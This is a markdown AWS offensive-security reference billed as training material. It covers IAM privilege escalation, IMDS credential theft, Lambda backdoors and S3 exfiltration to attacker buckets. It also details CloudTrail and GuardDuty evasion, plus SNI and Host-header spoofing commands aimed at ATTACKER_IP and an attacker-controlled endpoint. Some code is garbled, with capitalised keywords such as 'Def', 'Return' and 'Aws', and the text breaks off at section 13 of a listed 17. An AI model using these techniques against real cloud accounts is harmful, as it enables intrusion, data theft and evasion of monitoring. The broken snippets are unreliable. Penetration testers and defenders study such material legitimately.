<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
<!-- NERF is a trademark of defconxt. -->
# AWS Security Ultimate Deep Dive

## Training Reference — NERF Security Knowledge Base

**Classification**: Authorized security research and training material
**Last Updated**: 2026-03-14
**Sources**: hackingthe.cloud, AWS documentation, Stratus Red Team, Pacu, ScoutSuite, PMapper, policy_sentry, CloudTracker, and community research
---
## Table of Contents

1. [IAM Security](#1-iam-security)
2. [S3 Security](#2-s3-security)
3. [EC2 Security](#3-ec2-security)
4. [Lambda Security](#4-lambda-security)
5. [CloudTrail & Detection Evasion](#5-cloudtrail--detection-evasion)
6. [VPC & Network Security](#6-vpc--network-security)
7. [Organizations, SCPs & Cross-Account](#7-organizations-scps--cross-account)
8. [ECS/EKS & Container Security](#8-ecseks--container-security)
9. [Secrets Manager & SSM Parameter Store](#9-secrets-manager--ssm-parameter-store)
10. [KMS](#10-kms)
11. [GuardDuty](#11-guardduty)
12. [Cognito](#12-cognito)
13. [Enumeration Techniques](#13-enumeration-techniques)
14. [Post-Exploitation & Persistence](#14-post-exploitation--persistence)
15. [Tooling Arsenal](#15-tooling-arsenal)
16. [Stratus Red Team Attack Catalog](#16-stratus-red-team-attack-catalog)
17. [Detection Engineering](#17-detection-engineering)
---
## 1. IAM Security

### 1.1 IAM Key Identifiers

AWS access key prefixes encode credential type:

| Prefix | Type | Notes |
|--------|------|-------|
| `AKIA` | Long-lived access key | Associated with IAM users, no expiration |
| `ASIA` | Temporary STS key | Generated via STS, includes session token, expires |
| `AIDA` | IAM user unique ID | Identifies user principals |
| `AROA` | IAM role unique ID | Identifies role principals |
| `ANPA` | Managed policy | Policy identifier |

**Account ID extraction from access key** (no API call needed):

```python
import base64, binascii
Def AWSAccount_from_AWSKeyID(AWSKeyID):
Trimmed = AWSKeyID[4:]  # Remove AKIA/ASIA prefix
X = base64.b32decode(trimmed)
Y = x[0:6]
Z = int.from_bytes(y, byteorder='big', signed=False)
Mask = int.from_bytes(binascii.unhexlify(b'7fffffffff80'), byteorder='big', signed=False)
E = (z & mask) >> 7
Return e
```

Alternatively, `sts:GetAccessKeyInfo` returns the account ID and only logs to the *caller's* CloudTrail, not the target's.

### 1.2 Privilege Escalation — All Known Paths

#### Direct Policy Modification

| Permission | Technique | ATT&CK |
|-----------|-----------|--------|
| `iam:AttachUserPolicy` | Attach `AdministratorAccess` to controlled user | T1098.001 |
| `iam:AttachGroupPolicy` | Attach managed policy to group containing controlled user | T1098.001 |
| `iam:AttachRolePolicy` | Attach managed policy to assumable role | T1098.001 |
| `iam:PutUserPolicy` | Create inline admin policy on controlled user | T1098.001 |
| `iam:PutGroupPolicy` | Create inline admin policy on controlled group | T1098.001 |
| `iam:PutRolePolicy` | Create inline admin policy on assumable role | T1098.001 |
| `iam:CreatePolicyVersion` | Create new version of attached policy with admin perms | T1098.001 |
| `iam:SetDefaultPolicyVersion` | Revert to previous policy version with greater access | T1098.001 |

#### Permissions Boundary Manipulation

| Permission | Technique |
|-----------|-----------|
| `iam:DeleteRolePermissionsBoundary` | Remove restrictive boundary, expanding effective perms |
| `iam:DeleteUserPermissionsBoundary` | Same for users |
| `iam:PutRolePermissionsBoundary` | Replace with less restrictive boundary |
| `iam:PutUserPermissionsBoundary` | Same for users |

#### Deny Policy Removal

| Permission | Technique |
|-----------|-----------|
| `iam:DeleteRolePolicy` | Remove inline deny policies restricting broader access |
| `iam:DeleteUserPolicy` | Same for users |
| `iam:DetachRolePolicy` | Remove managed deny policies |
| `iam:DetachUserPolicy` | Same for users |

#### Credential Creation

| Permission | Technique |
|-----------|-----------|
| `iam:CreateAccessKey` | Generate keys for higher-privileged users |
| `iam:CreateLoginProfile` | Set console password on privileged users |
| `iam:UpdateLoginProfile` | Change console password for privileged users |
| `iam:AddUserToGroup` | Join privileged groups |

#### Role Assumption Manipulation

| Permission | Technique |
|-----------|-----------|
| `iam:UpdateAssumeRolePolicy` | Modify trust policy to allow attacker-controlled principals |

#### Service-Chained Escalation (iam:PassRole + Service)

These all require `iam:PassRole` combined with the service-specific permission:

| Combo | Technique |
|-------|-----------|
| `+ ec2:RunInstances` | Launch instance with elevated role; exfiltrate creds via user-data or IMDS |
| `+ ecs:RunTask` | Deploy Fargate task with privileged role; override container command |
| `+ ecs:StartTask + ecs:RegisterContainerInstance` | Register compromised instance, start tasks with command overrides |
| `+ lambda:CreateFunction + lambda:InvokeFunction` | Create function with elevated role, invoke to use its permissions |
| `+ lambda:CreateFunction + lambda:CreateEventSourceMapping` | Create function tied to DynamoDB stream; trigger via `dynamodb:PutItem` |
| `+ lambda:CreateFunction + lambda:AddPermission` | Create cross-account invoke permissions on privileged functions |
| `+ cloudformation:CreateStack` | Deploy stack assuming elevated service role |
| `+ codestar:CreateProject` | Generate CodeStar project with privileged role |
| `+ glue:CreateDevEndpoint` | Create dev endpoint with elevated role; SSH access for cred retrieval |
| `+ glue:CreateJob` / `+ glue:UpdateJob` | Create/modify Glue jobs with privileged roles; trigger via `glue:StartJobRun` |
| `+ datapipeline:CreatePipeline + PutPipelineDefinition + ActivatePipeline` | Define pipeline assuming different role |
| `+ autoscaling:CreateLaunchConfiguration + CreateAutoScalingGroup` | Build launch config with elevated role |
| `+ ec2:CreateLaunchTemplate + autoscaling:CreateAutoScalingGroup` | Launch template with privileged role via ASG |
| `+ bedrock-agentcore:CreateCodeInterpreter + InvokeCodeInterpreter` | Execute arbitrary code under admin role |

#### Lambda-Specific Escalation

| Permission | Technique |
|-----------|-----------|
| `lambda:UpdateFunctionCode` | Modify existing function code to run attacker logic under function's role |
| `lambda:UpdateFunctionConfiguration` | Add malicious layers that override libraries and execute code |
| `glue:UpdateDevEndpoint` | Update SSH keys on existing Glue endpoints |

#### CodeStar Escalation

| Permission | Technique |
|-----------|-----------|
| `codestar:CreateProject + codestar:AssociateTeamMember` | Create project, assign attacker as Owner for enum permissions |

**Key principle**: Most service-based escalations require pre-existing roles assumable by those services. The attacker needs both `iam:PassRole` and the service-specific create/modify permissions.

### 1.3 Permission Boundaries

Permission boundaries set the **maximum permissions** an identity-based policy can grant to an IAM entity (user or role).

**Effective permissions formula**:
```
Effective = Identity-based policies ∩ Permissions boundary
```

With SCPs and session policies:
```
Effective = SCP ∩ Permissions boundary ∩ Identity-based policies ∩ Session policies
```

**Critical interactions**:
- Boundaries limit but do NOT grant permissions
- Explicit deny in any policy overrides allow
- Resource-based policies granting to IAM user ARN bypass implicit deny in boundaries (same account)
- Resource-based policies granting to role ARN are limited by boundary
- Resource-based policies granting to role session ARN bypass boundary
- Service-linked roles are NOT restricted by boundaries

**Delegation pattern for boundary enforcement**:

1. Create boundary policy (e.g., `XCompanyBoundaries`) limiting max permissions
2. Create delegated admin boundary (e.g., `DelegatedUserBoundary`) with condition:
   ```json
   {
     "Condition": {
       "StringEquals": {
         "iam:PermissionsBoundary": "arn:aws:iam::ACCOUNT:policy/XCompanyBoundaries"
       }
     }
   }
   ```
3. This forces delegated admins to always attach the boundary when creating users/roles
4. Include deny statements preventing boundary policy modification and removal

**Security warning**: Never use `NotPrincipal` with `Deny` in resource policies when principals have boundaries — it always denies. Use `ArnNotEquals` condition with `aws:PrincipalArn` instead.

### 1.4 Using Stolen IAM Credentials

**Configuration**:
```bash
export AWS_ACCESS_KEY_ID=AKIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...    # Only for ASIA (temp) credentials
export AWS_REGION=us-east-1
```

**Validation** (standard):
```bash
aws sts get-caller-identity
```

**Validation** (stealthy — no CloudTrail logging):
```bash
aws sqs list-queues  # Error reveals ARN, not logged in CloudTrail
```

Other stealthy whoami alternatives:
- `sqs:ListQueues` — not in SQS CloudTrail documentation
- `pinpoint-sms-voice:SendVoiceMessage` — no CloudTrail logging
- `timestream-query:DescribeEndpoints` — no CloudTrail logging

**OPSEC considerations**:
- Kali/Parrot/Pentoo user agents trigger GuardDuty `PenTest` findings
- EC2 instance creds used outside AWS trigger `UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS`
- Use VPC Endpoints (SneakyEndpoints tool) to avoid instance credential exfiltration alerts
- Set `AWS_STS_REGIONAL_ENDPOINTS=regional` for regional STS endpoints
- Enumerate service-linked roles to discover which services are in use

### 1.5 IAM Eventual Consistency Exploitation

AWS IAM is eventually consistent with ~4-second propagation delay. During containment:

- Control plane reflects changes instantly
- Authorization enforcement has ~4 second delay
- Attackers can detect deny-all policy attachment and remove it before enforcement propagates

**Vulnerable operations**: Policy attachment/detachment, role assumption changes, role creation/deletion, login profile changes, group membership, permission boundary changes.

**Defense**: SCPs operate outside IAM's propagation model — attackers cannot modify them, making SCPs the recommended containment mechanism.
---
## 2. S3 Security

### 2.1 Bucket Policies & ACLs

**Public access via misconfigured policies**:
```bash
# Unauthenticated access
aws --no-sign-request s3 ls s3://$BUCKET
aws --no-sign-request s3 cp s3://$BUCKET/$FILE .
aws --no-sign-request s3 cp malicious.txt s3://$BUCKET/
```

**S3 static website endpoint** may reveal bucket listings when standard endpoints don't.

### 2.2 ACL Persistence (T1098)

With `s3:PutBucketAcl` / `s3:PutObjectAcl` permissions, attackers grant access to:
1. Specific attacker-controlled AWS accounts
2. `AUTHENTICATED USERS` (any IAM principal in any AWS account)
3. `ANY USER` (anonymous unauthenticated access)

**Defenses**:
- Bucket Public Access Block prevents anonymous ACL access (not cross-account)
- As of April 2023, new buckets default to Object Ownership settings that disable per-object ACLs

**High-value S3 targets**: Terraform state files, CloudFormation templates, SSM scripts, application source code, database backups.

### 2.3 S3 Replication for Data Exfiltration

Configure replication to copy all objects (current and future) to attacker-controlled bucket:

**Requirements**:
- Both buckets need versioning enabled
- Replication IAM role with trust for `s3.amazonaws.com` and `batchoperations.s3.amazonaws.com`
- Destination bucket policy allowing source account's replication role

**Detection indicators**:
- `PutBucketReplication` CloudTrail events
- `JobCreated` events (S3 Batch Operations replicating all existing objects)
- KMS `Decrypt`/`Encrypt` events with `s3-replication` prefix principals
- Unexpected `PutBucketVersioning` events

### 2.4 S3 Streaming Copy (Cross-Account Exfiltration)

Pipe `GetObject` output directly to `PutObject` on attacker bucket:

```bash
aws s3 cp --profile victim s3://victim_bucket/file.txt - | \
Aws s3 cp --profile attacker - s3://attacker_bucket/file.txt
```

**Detection asymmetry**: `GetObject` logs in victim's CloudTrail (if data events enabled, which is rare), `PutObject` logs only in attacker's CloudTrail.

**Mitigation**: VPC Endpoint policies denying cross-organizational requests; `aws:PrincipalOrgID` condition.

### 2.5 S3 Server Access Log Exploitation

Exfiltrate data through deliberately failed S3 requests:

- Enable server access logging on attacker bucket, directing logs to attacker logging bucket
- Attempt `GetObject` requests with exfiltration data encoded in the S3 key (up to 1024 bytes)
- Even 403 AccessDenied responses log the requested key to the logging bucket
- Additional data can be carried in User-Agent headers

**Constraints**: 10-120 minute log delivery delay; logs not guaranteed in order; VPC endpoint policies can block.

### 2.6 S3 Account ID Enumeration

Use `s3:ResourceAccount` policy condition with wildcard support to enumerate account IDs:

```bash
pip install s3-account-search
s3-account-search arn:aws:iam::ACCOUNT:role/s3-searcher BUCKET_NAME
```

### 2.7 CloudFront/DNS Takeover via Deleted S3 Buckets

Orphaned CloudFront distributions or DNS records pointing to deleted S3 buckets can be claimed:
- Create bucket matching the deleted one
- Serve malicious content through legitimate-appearing domain

**Mitigation**: Always delete DNS records first; use OWASP domain-protect for automated discovery.
---
## 3. EC2 Security

### 3.1 Instance Metadata Service (IMDS)

**Endpoint**: `http://169.254.169.254/latest/meta-data/` (IPv4) or `http://[fd00:ec2::254]/latest/meta-data/` (IPv6, Nitro only)

**IMDSv1** — Simple GET requests, no authentication:
```bash
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
```

**IMDSv2** — Session-based with PUT request:
```bash
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
Http://169.254.169.254/latest/meta-data/
```

**IMDSv2 security layers**:
1. PUT required for token acquisition (blocks most SSRF — applications rarely forward PUT)
2. `X-Forwarded-For` header blocks token acquisition (prevents reverse proxy abuse)
3. TTL=1 on token packets (Docker bridge mode containers cannot reach IMDS)

### 3.2 SSRF to IMDS Credential Theft (T1552.005)

Attack chain for IMDSv1:
1. Exploit SSRF/XXE vulnerability in application on EC2
2. Request `http://169.254.169.254/latest/meta-data/iam/security-credentials/`
3. Get role name from response
4. Request `http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME`
5. Extract `AccessKeyId`, `SecretAccessKey`, `Token`

**Real-world**: Capital One breach (2019), Mandiant findings of automated IMDS credential harvesting.

### 3.3 User Data Exploitation

User data accessible at `http://169.254.169.254/latest/user-data/` — frequently contains:
- Hardcoded passwords and encryption keys
- API tokens and database credentials
- Configuration data revealing infrastructure

**Via API** (requires `ec2:DescribeInstanceAttribute`):
```bash
aws ec2 describe-instance-attribute --instance-id i-xxx --attribute userData
```

Output is base64 encoded.

### 3.4 Privilege Escalation Through User Data Modification

**Requirements**: `ec2:ModifyInstanceAttribute` (plus `ec2:StopInstances`, `ec2:StartInstances`)

1. Create payload script (use `#cloud-boothook` for execution on every boot)
2. Base64 encode
3. Stop instance
4. Modify user data: `aws ec2 modify-instance-attribute --instance-id=i-xxx --attribute userData --value file://payload.b64`
5. Start instance — payload executes as root/System

**Indirect variant**: If user data downloads scripts from S3, compromising the S3 bucket achieves code execution without modifying the instance attribute.

### 3.5 Security Group Connection Tracking

Security groups are stateful with connection tracking:
- Established connections persist even after security group rule changes
- A reverse shell established before restrictive SG application remains functional
- New outbound connections fail under restrictive rules

**Mitigation**: NACLs sever connections but affect entire subnets.

### 3.6 Running Commands via SSM (No SSH Required)

**Send Command** (default: not logged to CloudTrail):
```bash
aws ssm send-command \
  --instance-ids "i-xxx" \
  --document-name "AWS-RunShellScript" \
  --parameters commands="whoami"
```

Retrieve output:
```bash
aws ssm list-command-invocations --command-id "GUID" --details
```

**Alternative SSM documents** (when AWS-RunShellScript is blocked):
- `AWS-RunSaltState` — Downloads YAML state files
- `AWS-ApplyAnsiblePlaybooks` — Executes Ansible from GitHub/S3
- `AWS-RunRemoteScript` — Executes scripts from S3/GitHub
- `AWS-RunDocument` — Executes custom SSM documents (policy bypass)
- `AWS-InstallApplication` — Downloads and installs MSI files

**Session Manager** (interactive shell):
```bash
aws ssm start-session --target i-xxx
```

**EC2StepShell**: Provides shell-like interactivity when direct script execution is restricted.

### 3.7 SSM Communications Interception

With EC2 access or stolen IAM credentials:

**Message interception**: Frequently poll SSM services to intercept `SendCommand` messages before the legitimate agent. PoC: `ssm-send-command-interception.py`

**Session interception**: Create own WebSocket control channel to intercept incoming sessions. Captures terminal data, command execution, credentials. PoC: `ssm-session-interception.py`

### 3.8 Public EBS Snapshot Looting

```bash
# List all public snapshots
aws ec2 describe-snapshots --restorable-by-user-ids all

# Filter by target account
aws ec2 describe-snapshots --restorable-by-user-ids all --owner-ids ACCOUNT_ID
```

Process: Create volume from snapshot → launch EC2 in same AZ → attach volume → mount → search for secrets.

**Detection**: CloudTrail logs `ec2:ModifySnapshotAttribute` with `createVolumePermission` set to "all".

### 3.9 Public AMI Secret Discovery

```bash
aws ec2 describe-images --owners ACCOUNT_ID --include-deprecated --region REGION
```

Launch instance from public AMI, search for:
```bash
find / -name "credentials" -type f
find / -name "id_rsa" -type f
grep -ri 'password\|secret\|key' /home/
```

Automated: TruffleHog, Gitleaks, CloudShovel.
---
## 4. Lambda Security

### 4.1 Credential Theft from Lambda Functions

**No GuardDuty alert for stolen Lambda credentials** — making this especially attractive.

**Environment variable extraction**:
- Direct: Read `/proc/self/environ`
- WAF bypass: Read `/proc/1/environ` through `/proc/20/environ`

**Runtime event data** via internal API:
```
http://169.254.100.1:9001/2018-06-01/runtime/invocation/next
```
`AWS_LAMBDA_RUNTIME_API` env var contains the IP and port.

### 4.2 Lambda Persistence

**Python runtime backdoor**:
1. Obtain `/var/runtime/bootstrap.py`
2. Inject exfiltration code
3. Host modified bootstrap on attacker server
4. One-liner: download backdoor, terminate current event via Runtime API, execute malicious bootstrap

**Ruby runtime backdoor**:
1. Modify `/var/runtime/lib/runtime.rb`
2. Create symlinks from `/var/runtime/lib` to `/tmp`
3. Download and swap runtime

**Persistence limitation**: Lambda functions going "cold" after 5-15 minutes of inactivity lose persistence.

**Exfiltration**: Nginx server with custom log formatting to capture POST payloads.

### 4.3 Lambda Layer Backdoors (T1546)

Via `lambda:UpdateFunctionConfiguration`:
- Add malicious Lambda layers that override standard libraries
- Layer code executes with function's IAM role permissions
- Layers are shared resources — one poisoned layer affects all functions using it

### 4.4 Lambda Resource Policy Backdoor

Via `lambda:AddPermission`:
- Add cross-account invoke permissions
- Allows attacker's account to invoke function with its IAM role
---
## 5. CloudTrail & Detection Evasion

### 5.1 API Calls That Don't Log to CloudTrail

These operations can be performed without CloudTrail entries:

| Service | API Call | Use Case |
|---------|----------|----------|
| SQS | `ListQueues` | Stealthy whoami (error reveals ARN) |
| Pinpoint SMS Voice | `SendVoiceMessage` | Stealthy whoami |
| Timestream Query | `DescribeEndpoints` | Stealthy whoami |
| SSM | `SendCommand` (by default) | Command execution |

### 5.2 CloudTrail Evasion Techniques

**Disable logging**:
- `cloudtrail:StopLogging` — Stop trail entirely
- `cloudtrail:DeleteTrail` — Delete trail
- `cloudtrail:UpdateTrail` — Redirect logs to attacker bucket

**Event selector manipulation**:
- `cloudtrail:PutEventSelectors` — Exclude specific events from logging
- Set management event selectors to read-only (exclude write events)

**S3 lifecycle rule on CloudTrail bucket**:
- Apply lifecycle policy to immediately expire/delete log objects

**DNS query log deletion**:
- Delete Route53 Resolver query log configurations

**VPC Flow Log removal**:
- `ec2:DeleteFlowLogs` — Remove flow log configurations

### 5.3 Credential Theft Without Detection

**VPC Endpoints**: Route stolen EC2 instance credentials through VPC Endpoints to avoid `InstanceCredentialExfiltration.InsideAWS` GuardDuty finding.

**SneakyEndpoints**: Terraform tool automating VPC Endpoint infrastructure setup with private subnet EC2 instance.

**Important caveat** (October 2024+): GuardDuty began detecting VPC Endpoint bypass attempts for services supporting CloudTrail network activity events. Initially covered EC2, KMS, Secrets Manager, CloudTrail; expanded to 26 services by mid-2025.

**Same-account usage**: Using stolen creds from one EC2 instance to access other instances *within the same account* avoids detection.

### 5.4 User-Agent Modification

GuardDuty detects pentest distributions (Kali, Parrot, Pentoo) via User-Agent string.

**Bypass**: Proxy AWS CLI through Burp Suite with match-and-replace rule:
```
export HTTPS_PROXY=http://127.0.0.1:8080
```
Replace `^User-Agent.*$` with legitimate User-Agent.

**`AWS_EXECUTION_ENV`**: Environment variable that appends to User-Agent header — useful for customizing API call identification.

### 5.5 Tor Usage Evasion

GuardDuty triggers `UnauthorizedAccess:EC2/TorClient` by comparing connections against public Tor node list.

**Bypass**: Use Tor Bridges with obfs4 pluggable transport:
```
UseBridges 1
ClientTransportPlugin obfs4 exec /usr/bin/obfs4proxy
Bridge obfs4 IP:PORT FINGERPRINT cert=... iat-mode=0
```

### 5.6 AWS CLI as Living-off-the-Land Tool

Use `--endpoint-url` flag to redirect AWS CLI to attacker infrastructure (MinIO, etc.):
```bash
aws s3 ls --endpoint-url https://attacker.s3.store
```

Blends with legitimate AWS CLI usage; avoids detection of curl/wget.
---
## 6. VPC & Network Security

### 6.1 Network Firewall Egress Filtering Bypass

AWS Network Firewall inspects SNI (HTTPS) and Host headers (HTTP) but does **not** perform DNS lookups to verify destination IP.

**SNI spoofing (HTTPS)**:
```bash
curl -ik https://allowed-domain.com --resolve 'allowed-domain.com:443:ATTACKER_IP'
```

**Host header manipulation (HTTP)**:
```bash
curl -H "Host: allowed-domain.com" http://ATTACKER_IP
```

**Mitigation limitations**: TLS inspection requires deploying custom CA on every host; HTTP often whitelisted for updates.

### 6.2 Security Groups vs NACLs

| Feature | Security Groups | NACLs |
|---------|----------------|-------|
| Statefulness | Stateful (connection tracking) | Stateless |
| Scope | Per-ENI | Per-subnet |
| Rule type | Allow only | Allow and Deny |
| Connection persistence | Existing connections survive rule changes | Rule changes immediately effective |

### 6.3 VPC Flow Logs

Capture IP traffic metadata (not content). Available at VPC, subnet, or ENI level.

**Attacker considerations**:
- Flow logs don't capture DNS queries, DHCP traffic, or IMDS traffic
- Not real-time (aggregation period delay)
- Can be deleted with `ec2:DeleteFlowLogs`

### 6.4 VPC Endpoint Security

**Gateway endpoints** (S3, DynamoDB): Route table-based, no security group support.
**Interface endpoints**: ENI-based, support security groups and endpoint policies.

**Defensive use**: Endpoint policies can restrict which resources/accounts are accessible, creating data perimeters.

**Offensive use**: SneakyEndpoints creates VPC Endpoints to avoid credential exfiltration detection.
---
## 7. Organizations, SCPs & Cross-Account

### 7.1 Service Control Policies (SCPs)

SCPs establish **permission guardrails** — they define maximum permissions but do NOT grant permissions.

**Effective permissions**:
```
Effective = SCP ∩ RCP ∩ Identity-based policies ∩ Resource-based policies
```

**What SCPs affect**:
- IAM users and roles in member accounts
- Member account root user

**What SCPs DO NOT affect**:
- Management account (any actions/users/roles)
- Service-linked roles
- Users/roles from accounts outside the organization

**Strategies**:

| Strategy | Approach | Use Case |
|----------|----------|----------|
| Deny list | Deny specific dangerous actions; allow all else | Block specific operations |
| Allow list | Allow only listed services; deny all else | Restricted environments |

**Default policy**: `FullAWSAccess` (Allow `*` on `*`) — automatically attached. Removing without replacement locks out all actions.

**Inheritance**: Account has only permissions allowed by EVERY parent (root → OU → account).

**Critical SCP for cost control** — deny expensive operations:
- `route53domains:RegisterDomain`, `route53domains:RenewDomain`
- `ec2:PurchaseReservedInstancesOffering`
- `rds:PurchaseReservedDBInstancesOffering`
- `dynamodb:PurchaseReservedCapacityOfferings`
- `s3:PutObjectRetention`, `s3:PutObjectLegalHold`
- `glacier:InitiateVaultLock`, `glacier:CompleteVaultLock`
- `bedrock:CreateProvisionedModelThroughput`
- Shield, Marketplace, Outposts operations (~35 total)

### 7.2 SCP Bypass Considerations

**Management account exemption**: If attackers compromise the management account, SCPs provide zero protection. This is the single largest architectural risk in AWS Organizations.

**Service-linked roles**: Cannot be restricted by SCPs. Service-linked roles enable AWS service integration and are exempt from SCP controls.

**Cross-organizational access**: SCPs don't affect external account principals accessing resources via resource-based policies.

### 7.3 OrganizationAccountAccessRole

When accounts are created through Organizations:
- Default role `OrganizationAccountAccessRole` is provisioned in each member account
- Has `AdministratorAccess` policy attached
- Trust policy allows assumption from management account root

**Attack**: Compromise management account → assume `OrganizationAccountAccessRole` in every member account → full admin access across entire organization.

**Invited accounts** (not created through Organizations) do NOT automatically get this role.

### 7.4 Cross-Account Role Assumption

**Misconfigured trust policies** with wildcard principals:

```json
{
  "Effect": "Allow",
  "Principal": {"AWS": "*"},
  "Action": "sts:AssumeRole"
}
```

**Critical misconception**: `"Principal": {"AWS": "*"}` applies to EVERY AWS account globally, not just the same account/organization.

Common subtle misconfiguration — inverted logic:
```json
{
  "Effect": "Allow",
  "Principal": {"AWS": "*"},
  "Action": "sts:AssumeRole",
  "Condition": {
    "ArnNotEquals": {
      "aws:PrincipalArn": "arn:aws:iam::555555555555:role/intent-allow-role"
    }
  }
}
```
Developer intended deny-all-but-one, created allow-all-but-one.

### 7.5 OIDC Federation Abuse

**GitLab OIDC misconfiguration**: If trust policy lacks `sub` field condition, anyone with a gitlab.com account can assume the role.

Vulnerable trust policy:
```json
{
  "Condition": {
    "StringEquals": {
      "gitlab.com:aud": ["https://gitlab.com"]
    }
  }
}
```
Missing: condition on `gitlab.com:sub` to restrict to specific group/project.

**Exploitation**:
1. Create gitlab.com account and project
2. Generate OIDC token via `.gitlab-ci.yml` with `id_tokens`
3. Extract JWT from CI job logs
4. `aws sts assume-role-with-web-identity --web-identity-token JWT`

Same pattern applies to GitHub Actions OIDC and Terraform Cloud OIDC.
---
## 8. ECS/EKS & Container Security

### 8.1 ECR Container Registry Abuse (T1525)

**Image poisoning attack chain**:
1. Gain initial access (SSRF, leaked creds, misconfig)
2. Pull latest Docker image from ECR
3. Inject malicious payload as new layer
4. Push poisoned image back with `latest` tag
5. Victims auto-pull and execute compromised image

**Impact targets**: Production servers, developer laptops, CI/CD pipelines.

**Defenses**:
- Enforce Docker image signing
- Deploy AppArmor/Seccomp security profiles
- Monitor ECR access via CloudTrail
- Container image scanning will NOT detect malicious payloads

### 8.2 Misconfigured ECR Resource Policies

**Critical requirement**: `ecr:GetAuthorizationToken` must come from identity-based policy; resource policies cannot grant it.

**Download attack**: Wildcard principal with `ecr:BatchGetImage`, `ecr:GetDownloadURLForLayer` → external parties can pull containers and inspect for secrets.

**Upload attack**: `ecr:*` with wildcard principal → push malicious containers executed by ECS/EKS/Lambda.

**Detection**: Prowler `ecr_repositories_not_publicly_accessible` check.

### 8.3 ECS Task Privilege Escalation

Via `iam:PassRole + ecs:RunTask`:
- Deploy Fargate tasks with privileged IAM roles
- Override container commands to retrieve credentials
- Access IMDS on EC2 launch type for additional creds

Via `iam:PassRole + ecs:StartTask + ecs:RegisterContainerInstance`:
- Register compromised instances
- Start privileged tasks with command overrides

### 8.4 EKS Considerations

- IRSA (IAM Roles for Service Accounts) token projection via OIDC
- Pod identity token at `169.254.170.23` (EKS Pod Identity)
- Node IAM role accessible via IMDS from any pod on the node
- `aws-auth` ConfigMap controls IAM-to-K8s RBAC mapping
---
## 9. Secrets Manager & SSM Parameter Store

### 9.1 Secrets Manager Credential Access

**Batch retrieval** (Stratus Red Team: `aws.credential-access.secretsmanager-batch-retrieve-secrets`):
- `secretsmanager:BatchGetSecretValue` retrieves multiple secrets in one call
- Highly suspicious — triggers alerts on volume

**Individual retrieval**:
```bash
aws secretsmanager list-secrets
aws secretsmanager get-secret-value --secret-id SECRET_NAME
```

### 9.2 SSM Parameter Store

**SecureString parameters** (Stratus Red Team: `aws.credential-access.ssm-retrieve-securestring-parameters`):
```bash
aws ssm describe-parameters
aws ssm get-parameters --names PARAM_NAME --with-decryption
aws ssm get-parameters-by-path --path / --recursive --with-decryption
```

Requires `ssm:GetParameter(s)` and `kms:Decrypt` for SecureString parameters.

### 9.3 EC2 Password Data Retrieval

Stratus Red Team: `aws.credential-access.ec2-get-password-data`:
```bash
aws ec2 get-password-data --instance-id i-xxx
```
Returns encrypted Windows password; requires the instance's key pair private key to decrypt.
---
## 10. KMS

### 10.1 Key Policy Misconfiguration

KMS key policies control access independently of IAM policies. A misconfigured key policy with wildcard principal allows any AWS account to use the key.

### 10.2 Cross-Account Key Usage

If key policy grants usage to external account, that account can:
- Decrypt data encrypted with the key
- Re-encrypt data with their own key
- Use the key for envelope encryption

### 10.3 KMS in S3 Replication Exfiltration

During S3 replication:
- Source KMS key `Decrypt` permission required for replication role
- Destination KMS key `Encrypt` permission for re-encryption
- Detection: KMS events with `s3-replication` prefix principals referencing cross-account keys

### 10.4 Grant Abuse

`kms:CreateGrant` allows creating grants that delegate key usage to other principals without modifying the key policy. Grants can be used for:
- Temporary access delegation
- Cross-account access
- Persistence mechanism (grants persist until explicitly revoked)
---
## 11. GuardDuty

### 11.1 GuardDuty Detection Categories

| Category | Examples |
|----------|---------|
| Instance credential exfiltration | `InstanceCredentialExfiltration.OutsideAWS`, `InsideAWS` |
| Pentest distribution detection | User-Agent based (Kali, Parrot, Pentoo) |
| Tor client detection | Connection comparison against public Tor node list |
| Cryptomining | Unusual EC2 DNS/network patterns |
| IAM anomalies | Unusual API calls, impossible travel |

### 11.2 GuardDuty Evasion Techniques

**Detector manipulation** (requires `guardduty:UpdateDetector`):
- Disable detector entirely: `--no-enable` flag
- Remove data sources (S3, K8s logging)
- Increase finding frequency to 6-hour intervals

**Trusted IP list manipulation** (requires `guardduty:CreateIPSet`/`UpdateIPSet`):
- Add attacker IPs to trusted list
- Exempts those IPs from CloudTrail and VPC flow log alerts
- DNS findings are NOT exempt from trusted IP lists

**CloudWatch Event disruption** (requires `events:PutRule`/`RemoveTargets`):
- Disable event rules
- Modify patterns to filter out GuardDuty
- Remove alert targets

**Suppression rules** (requires `guardduty:CreateFilter`):
- Create filters that auto-archive matching findings

**Publishing destination deletion** (requires `guardduty:DeletePublishingDestination`):
- Remove alert destinations entirely

### 11.3 What GuardDuty Does NOT Detect

- Stolen Lambda credentials (no alert)
- SSM SendCommand execution (by default not logged)
- Many data plane operations
- Activity through Tor bridges (only detects connections to known Tor nodes)
---
## 12. Cognito

### 12.1 Unintended Self-Signup

If Cognito user pool doesn't enforce "Admin Only" signup:

```bash
# Find Client ID in web app source or decompiled mobile app
aws cognito-idp sign-up \
  --client-id CLIENT_ID \
  --username attacker \
  --password P@ssw0rd! \
  --user-attributes Name=email,Value=attacker@evil.com
```

**Impact**: Unauthorized account creation, application access, potential AWS credential exchange.

### 12.2 Identity Pool Excessive Privileges

After authenticating (or via unauthenticated access if enabled):

```bash
aws cognito-identity get-id \
  --identity-pool-id POOL_ID \
  --account-id ACCOUNT_ID \
  --logins provider:token
Aws cognito-identity get-credentials-for-identity \
  --identity-id ID \
  --logins provider:token
```

If associated IAM roles are overprivileged, these temporary credentials grant excessive AWS access: S3, DynamoDB, Lambda invocation, potential full account takeover.

### 12.3 Cognito User Enumeration Bypass

User pools may have user enumeration controls that can be bypassed — error messages differ between valid and invalid usernames.
---
## 13. Enumeration Techniques

### 13.1 Identity Discovery (Whoami)

| Method | Stealth | Notes |
|--------|---------|-------|
| `sts:GetCallerIdentity` | Low (logs to CloudTrail) | Standard method, no perms needed |
| `sqs:ListQueues` | High (no CloudTrail) | Error reveals ARN |
| `pinpoint-sms-voice:SendVoiceMessage` | High (no CloudTrail) | Error reveals ARN |
